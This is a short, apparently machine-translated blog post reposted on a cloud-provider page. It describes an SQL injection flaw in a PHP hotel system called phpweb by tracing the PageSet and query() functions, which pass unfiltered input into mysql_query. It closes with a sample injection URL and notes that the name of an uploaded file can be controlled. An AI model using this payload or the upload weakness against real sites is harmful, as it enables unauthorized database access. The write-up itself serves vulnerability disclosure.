Hotelphpweb SQL injection

Source: Internet
Author: User

A hotel system under phpweb.
News/html/index. php
 
 
Hotelphpweb SQL injection
// Define the module name and Page name
PageSet ("news", "detail ");
 
Trace the PageSet function.
 
 
Hotelphpweb SQL injection
Function pageset ($ coltype, $ pagename)
{
Global $ GLOBALS ['msql'];
$ Msql-> query ("select * from {P} _ base_pageset where coltype = '{$ coltype}' and pagename = '{$ pagename }'");
//... Omitting line N of code
 
 
Variable $ coltype, $ pagename is directly substituted into the query () method without any Filtering
Trace query () www.2cto.com
 
 
Hotelphpweb SQL injection
Function query ($ Query_String)
{
$ Query_String = str_replace ("{P}", $ this-> TablePre, $ Query_String );
$ This-> connect ();
$ This-> Query_ID = mysql_query ($ Query_String, $ this-> Link_ID );
$ This-> Row = 0;
$ This-> Errno = mysql_errno ();
$ This-> Error = mysql_error ();
If (! $ This-> Query_ID)
{
$ This-> halt ("Invalid SQL:". $ Query_String );
}
Return $ this-> Query_ID;
}
 
 
 
 
The variable $ Query_String is directly substituted into the query.
 
EXP: http://www.bkjia.com/news/html /? 384 '/**/and/**/1 = 1/**/and/**/'your '.html
 
The upload program of this program. The file name saved to the server is obtained using $ _ POST ['filename. This is also controllable.
 
 
From sentiment 'blog!
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.